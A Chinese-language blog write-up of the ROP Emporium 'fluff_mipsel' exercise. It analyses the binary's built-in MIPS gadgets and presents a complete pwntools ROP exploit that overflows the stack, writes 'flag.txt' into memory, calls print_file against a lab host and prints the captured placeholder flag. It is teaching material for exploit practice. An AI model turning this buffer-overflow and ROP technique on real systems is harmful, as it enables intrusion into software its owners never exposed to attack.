OneShell

I fight for a brighter tomorrow

0%

fluff_mipsel

emm,说实话这道题目我没有看懂具体是想要做什么、绕过什么,是根据内置的gadgets来推断exp该怎么写的。

程序内置questionableGadgets分析

ropemporium中的程序总是会内置一些官方提供的gadgets,也是为了让练习者更加专心于控制ROP本身而不用花费太多功夫在寻找gadget上。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
.text:00400930 questionableGadgets:
.text:00400930 lw $t9, 8($sp)
.text:00400934 lw $t4, 4($sp)
.text:00400938 xor $s1, $s1
.text:0040093C li $a0, 0x412C70
.text:00400944 jalr $t9
.text:00400948 addi $sp, 0xC
.text:0040094C lw $t9, 8($sp)
.text:00400950 lw $s2, 4($sp)
.text:00400954 li $t4, 0x412C74
.text:0040095C jalr $t9
.text:00400960 addi $sp, 0xC
.text:00400964 lw $t9, 4($sp)
.text:00400968 xor $s1, $s2
.text:0040096C li $a1, 0x411500
.text:00400974 jalr $t9
.text:00400978 addi $sp, 8
.text:0040097C lw $t9, 4($sp)
.text:00400980 xor $s0, $s1
.text:00400984 xor $s1, $s0, $s1
.text:00400988 xor $s0, $s1
.text:0040098C li $t5, 0x411504
.text:00400994 jalr $t9
.text:00400998 addi $sp, 8
.text:0040099C lw $t9, 4($sp)
.text:004009A0 sw $s1, 0($s0)
.text:004009A4 jalr $t9
.text:004009A8 addi $sp, 8
.text:004009AC lw $a0, 8($sp)
.text:004009B0 lw $t9, 4($sp)
.text:004009B4 jalr $t9
.text:004009B8 addi $sp, 0xC
.text:004009BC nop

0x00400930:gadget_clear_s1

该gadget的作用就是清零s1寄存器,其他的寄存器操作例如t4、a0都是干扰项

1
2
3
4
5
6
.text:00400930 08 00 B9 8F                   lw      $t9, 8($sp)
.text:00400934 04 00 AC 8F lw $t4, 4($sp)
.text:00400938 26 88 31 02 xor $s1, $s1 # 清零s1
.text:0040093C 41 00 04 3C 70 2C 84 34 li $a0, "A,p"
.text:00400944 09 F8 20 03 jalr $t9
.text:00400948 0C 00 BD 23 addi $sp, 0xC

0x00400948:gadget_get_s2

该gadget的作用是从栈上[sp+4]取出值,写入到s2寄存器中

1
2
3
4
5
.text:0040094C 08 00 B9 8F                   lw      $t9, 8($sp)   # 下一个gadget地址
.text:00400950 04 00 B2 8F lw $s2, 4($sp) # 获取s2的值
.text:00400954 41 00 0C 3C 74 2C 8C 35 li $t4, "A,t"
.text:0040095C 09 F8 20 03 jalr $t9
.text:00400960 0C 00 BD 23 addi $sp, 0xC

0x00400960:gadget_write_s1

该gadget的作用是,从s2寄存器中取出值,然后放到s1寄存器中。当然,必须提前对s1寄存器进行清零,也就是调用gadget_clear_s1

1
2
3
4
5
.text:00400964 04 00 B9 8F                   lw      $t9, 4($sp)   # 下一个gadget地址
.text:00400968 26 88 32 02 xor $s1, $s2 # s1 = s1 ^ s2
.text:0040096C 41 00 05 3C 00 15 A5 34 li $a1, 0x411500
.text:00400974 09 F8 20 03 jalr $t9
.text:00400978 08 00 BD 23 addi $sp, 8

0x0040097C gadget_echg_s1_s0

该gadget的作用是,交换寄存器s0和s1的值。那三条xor指令,就是利用了xor的结合律和交换律,达到s0和s1值互换的目的。
通过这条gadget可以将s1的值写入到s0中,这样就等价于可以控制两个寄存器的值。s0和s1在后面的gadget也用于写入数据到地址

1
2
3
4
5
6
7
.text:0040097C 04 00 B9 8F                   lw      $t9, 4($sp)
.text:00400980 26 80 11 02 xor $s0, $s1 # gadget_echg_s1_s0
.text:00400984 26 88 11 02 xor $s1, $s0, $s1
.text:00400988 26 80 11 02 xor $s0, $s1
.text:0040098C 41 00 0D 3C 04 15 AD 35 li $t5, 0x411504
.text:00400994 09 F8 20 03 jalr $t9
.text:00400998 08 00 BD 23 addi $sp, 8

0x0040099C gadget_write_data

该gadget的作用是,将s1的值写入到s0值指向的地址。

1
2
3
4
.text:0040099C 04 00 B9 8F                   lw      $t9, 4($sp)                      # gadget_write_data
.text:004009A0 00 00 11 AE sw $s1, 0($s0) # s1中放值,s0放地址
.text:004009A4 09 F8 20 03 jalr $t9
.text:004009A8 08 00 BD 23 addi $sp, 8

0x004009AC print_file

该gadget的作用是,调用print_file函数。

1
2
3
4
.text:004009AC 08 00 A4 8F                   lw      $a0, 8($sp)                      # 调用print_file函数
.text:004009B0 04 00 B9 8F lw $t9, 4($sp)
.text:004009B4 09 F8 20 03 jalr $t9
.text:004009B8 0C 00 BD 23 addi $sp, 0xC

通过上面的gadget合集分析,可以得出,大概的ROP构造思路是:

  1. 溢出劫持控制流
  2. 分两次将flag.txt写入到data段
    • gadget_get_s2:s2寄存器是可控输入源
    • gadget_clear_s1:清零s1,因为写入s1是通过s1 = s1 ^ s2实现的
    • gadget_write_s1:写入s1
    • gadget_echg_s1_s0:先保证写入了s0,然后写入s1
    • gadget_get_s2
    • gadget_clear_s1
    • gadget_write_s1
    • gadget_write_data:将四个字节写入到data段
  3. 调用print_file函数

rop构造

返回地址保存sp+0x3C,缓冲区位于sp+18h,因此填充0x24后,开始劫持控制流。

1
2
rop = b"A" * 0x24
rop += gadget_get_s2

如下就是将4个字节写入指定地址,重复执行两次就可以将flag.txt写入到data段中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
rop += b"B" * 4
rop += p32(0x00411000)
rop += gadget_clear_s1

rop += b"B" * 4
rop += b"B" * 4
rop += gadget_write_s1

rop += b"B" * 4
rop += gadget_echg_s1_s0

rop += b"B" * 4
rop += gadget_get_s2

rop += b"B" * 4
rop += b"flag"
rop += gadget_clear_s1

rop += b"B" * 4
rop += b"B" * 4
rop += gadget_write_s1

rop += b"B" * 4
rop += gadget_write_data

最后就是调用print_file函数

exp

非常粗糙的一个exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *
BINARY = "./fluff_mipsel"
ELF = ELF(BINARY)

context.os = "linux"
context.arch = "mips"
context.binary = BINARY

gadget_get_s2 = p32(0x0040094C)
gadget_clear_s1 = p32(0x00400930)
gadget_write_s1 = p32(0x00400964)
gadget_echg_s1_s0 = p32(0x0040097C)
gadget_write_data = p32(0x0040099C)
gadget_call_print = p32(0x004009AC)

rop = b"A" * 0x24
rop += gadget_get_s2

rop += b"B" * 4
rop += p32(0x00411000)
rop += gadget_clear_s1

rop += b"B" * 4
rop += b"B" * 4
rop += gadget_write_s1

rop += b"B" * 4
rop += gadget_echg_s1_s0

rop += b"B" * 4
rop += gadget_get_s2

rop += b"B" * 4
rop += b"flag"
rop += gadget_clear_s1

rop += b"B" * 4
rop += b"B" * 4
rop += gadget_write_s1

rop += b"B" * 4
rop += gadget_write_data

rop += b"B" * 4
rop += gadget_get_s2

# 第一个写入
rop += b"B" * 4
rop += p32(0x00411004)
rop += gadget_clear_s1

rop += b"B" * 4
rop += b"B" * 4
rop += gadget_write_s1

rop += b"B" * 4
rop += gadget_echg_s1_s0

rop += b"B" * 4
rop += gadget_get_s2

rop += b"B" * 4
rop += b".txt"
rop += gadget_clear_s1

rop += b"B" * 4
rop += b"B" * 4
rop += gadget_write_s1

rop += b"B" * 4
rop += gadget_write_data

rop += b"B" * 4
rop += gadget_call_print

rop += b"B" * 4
rop += p32(ELF.symbols["print_file"])
rop += p32(0x00411000)

with open("raw", "wb") as f:
f.write(rop)

p = remote("10.0.0.2", 8888)
p.sendline(rop)
print(p.recvline_contains(b"ROPE"))

结果如下:

1
2
3
4
5
6
7
8
9
10
$ python3 fluff.py
[*] '/home/utest/Code/mipsrop/fluff_mipsel/fluff_mipsel'
Arch: mips-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
[+] Opening connection to 10.0.0.2 on port 9999: Done
b'ROPE{a_placeholder_32byte_flag!}'

参考链接